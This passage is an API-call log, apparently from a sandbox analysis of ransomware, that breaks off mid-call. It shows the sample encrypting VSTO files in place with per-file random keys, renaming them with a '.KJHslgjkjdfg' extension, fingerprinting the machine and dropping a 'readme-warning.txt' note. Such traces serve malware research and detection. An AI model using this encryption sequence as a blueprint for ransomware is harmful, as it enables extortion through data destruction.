ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0180.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.264] GetProcessHeap () returned 0x990000 [0180.264] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.264] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.265] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.267] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.267] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.267] GetProcessHeap () returned 0x990000 [0180.267] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0180.267] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29defd0*=0x50) returned 1 [0180.267] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.267] WriteFile (in: hFile=0x12c, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29defe8*=0x50, lpOverlapped=0x0) returned 1 [0180.267] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.267] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.267] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.268] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.268] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.268] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.268] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2cc, lpOverlapped=0x0) returned 1 [0180.268] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2d0) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.268] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2d0, lpOverlapped=0x0) returned 1 [0180.268] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.268] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.268] SetEndOfFile (hFile=0x12c) returned 1 [0180.270] GetProcessHeap () returned 0x990000 [0180.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0180.270] GetProcessHeap () returned 0x990000 [0180.270] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.kjhslgjkjdfg")) returned 1 [0180.273] CloseHandle (hObject=0x12c) returned 1 [0180.273] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0180.273] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0180.273] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0180.273] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0180.273] GetProcessHeap () returned 0x990000 [0180.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0180.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.273] GetProcessHeap () returned 0x990000 [0180.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0180.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.274] GetProcessHeap () returned 0x990000 [0180.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fd9f0 [0180.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.274] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fd9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fd9f0, pdwDataLen=0x29dee20) returned 1 [0180.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.274] GetProcessHeap () returned 0x990000 [0180.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.274] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0180.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.274] GetProcessHeap () returned 0x990000 [0180.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.274] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0180.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.274] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0180.274] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0180.274] RegCloseKey (hKey=0x12c) returned 0x0 [0180.274] GetProcessHeap () returned 0x990000 [0180.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.275] GetProcessHeap () returned 0x990000 [0180.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.275] GetProcessHeap () returned 0x990000 [0180.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.275] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0180.275] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.275] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.275] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.275] GetProcessHeap () returned 0x990000 [0180.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.275] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.275] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.275] GetProcessHeap () returned 0x990000 [0180.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0180.275] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt") returned 75 [0180.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.277] CloseHandle (hObject=0x12c) returned 1 [0180.277] GetProcessHeap () returned 0x990000 [0180.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0180.277] GetProcessHeap () returned 0x990000 [0180.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0180.277] GetProcessHeap () returned 0x990000 [0180.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.277] GetProcessHeap () returned 0x990000 [0180.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.277] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.278] GetProcessHeap () returned 0x990000 [0180.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0180.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0180.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.279] GetProcessHeap () returned 0x990000 [0180.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.279] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.279] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.279] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.279] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.279] GetProcessHeap () returned 0x990000 [0180.279] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.279] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.279] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.279] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.281] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.281] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0180.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0180.282] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0180.282] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.282] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.282] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3f50, lpOverlapped=0x0) returned 1 [0180.283] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3f50) returned 1 [0180.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.283] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3f50, lpOverlapped=0x0) returned 1 [0180.283] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.283] SetEndOfFile (hFile=0x130) returned 1 [0180.286] GetProcessHeap () returned 0x990000 [0180.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.286] GetProcessHeap () returned 0x990000 [0180.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.kjhslgjkjdfg")) returned 1 [0180.287] CloseHandle (hObject=0x130) returned 1 [0180.287] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0180.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.288] GetProcessHeap () returned 0x990000 [0180.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.288] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.288] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.288] GetProcessHeap () returned 0x990000 [0180.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.289] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.291] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.291] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0180.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0180.291] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0180.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.291] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.291] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5550, lpOverlapped=0x0) returned 1 [0180.292] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5550, dwBufLen=0x5550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5550) returned 